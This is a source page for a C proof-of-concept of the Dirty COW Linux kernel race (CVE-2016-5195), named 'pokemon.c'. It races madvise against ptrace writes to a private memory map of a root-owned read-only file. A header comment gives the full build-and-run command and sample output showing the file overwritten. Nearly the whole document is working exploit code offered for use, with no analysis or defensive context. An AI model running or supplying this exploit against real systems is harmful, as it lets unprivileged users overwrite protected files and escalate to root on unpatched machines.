Permalink
| // $ echo pikachu|sudo tee pokeball;ls -l pokeball;gcc -pthread pokemon.c -o d;./d pokeball miltank;cat pokeball | |
| #include <fcntl.h> //// pikachu | |
| #include <pthread.h> //// -rw-r--r-- 1 root root 8 Apr 4 12:34 pokeball | |
| #include <string.h> //// pokeball | |
| #include <stdio.h> //// (___) | |
| #include <stdint.h> //// (o o)_____/ | |
| #include <sys/mman.h> //// @@ ` \ | |
| #include <sys/types.h> //// \ ____, /miltank | |
| #include <sys/stat.h> //// // // | |
| #include <sys/wait.h> //// ^^ ^^ | |
| #include <sys/ptrace.h> //// mmap bc757000 | |
| #include <unistd.h> //// madvise 0 | |
| ////////////////////////////////////////////// ptrace 0 | |
| ////////////////////////////////////////////// miltank | |
| ////////////////////////////////////////////// | |
| int f ;// file descriptor | |
| void *map ;// memory map | |
| pid_t pid ;// process id | |
| pthread_t pth ;// thread | |
| struct stat st ;// file info | |
| ////////////////////////////////////////////// | |
| void *madviseThread(void *arg) {// madvise thread | |
| int i,c=0 ;// counters | |
| for(i=0;i<200000000;i++)//////////////////// loop to 2*10**8 | |
| c+=madvise(map,100,MADV_DONTNEED) ;// race condition | |
| printf("madvise %d\n\n",c) ;// sum of errors | |
| }// /madvise thread | |
| ////////////////////////////////////////////// | |
| int main(int argc,char *argv[]) {// entrypoint | |
| if(argc<3)return 1 ;// ./d file contents | |
| printf("%s \n\ | |
| (___) \n\ | |
| (o o)_____/ \n\ | |
| @@ ` \\ \n\ | |
| \\ ____, /%s \n\ | |
| // // \n\ | |
| ^^ ^^ \n\ | |
| ", argv[1], argv[2]) ;// dirty cow | |
| f=open(argv[1],O_RDONLY) ;// open read only file | |
| fstat(f,&st) ;// stat the fd | |
| map=mmap(NULL ,// mmap the file | |
| st.st_size+sizeof(long) ,// size is filesize plus padding | |
| PROT_READ ,// read-only | |
| MAP_PRIVATE ,// private mapping for cow | |
| f ,// file descriptor | |
| 0) ;// zero | |
| printf("mmap %lx\n\n",(unsigned long)map);// sum of error code | |
| pid=fork() ;// fork process | |
| if(pid) {// if parent | |
| waitpid(pid,NULL,0) ;// wait for child | |
| int u,i,o,c=0,l=strlen(argv[2]) ;// util vars (l=length) | |
| for(i=0;i<10000/l;i++)//////////////////// loop to 10K divided by l | |
| for(o=0;o<l;o++)//////////////////////// repeat for each byte | |
| for(u=0;u<10000;u++)////////////////// try 10K times each time | |
| c+=ptrace(PTRACE_POKETEXT ,// inject into memory | |
| pid ,// process id | |
| map+o ,// address | |
| *((long*)(argv[2]+o))) ;// value | |
| printf("ptrace %d\n\n",c) ;// sum of error code | |
| }// otherwise | |
| else {// child | |
| pthread_create(&pth ,// create new thread | |
| NULL ,// null | |
| madviseThread ,// run madviseThred | |
| NULL) ;// null | |
| ptrace(PTRACE_TRACEME) ;// stat ptrace on child | |
| kill(getpid(),SIGSTOP) ;// signal parent | |
| pthread_join(pth,NULL) ;// wait for thread | |
| }// / child | |
| return 0 ;// return | |
| }// / entrypoint | |
| ////////////////////////////////////////////// |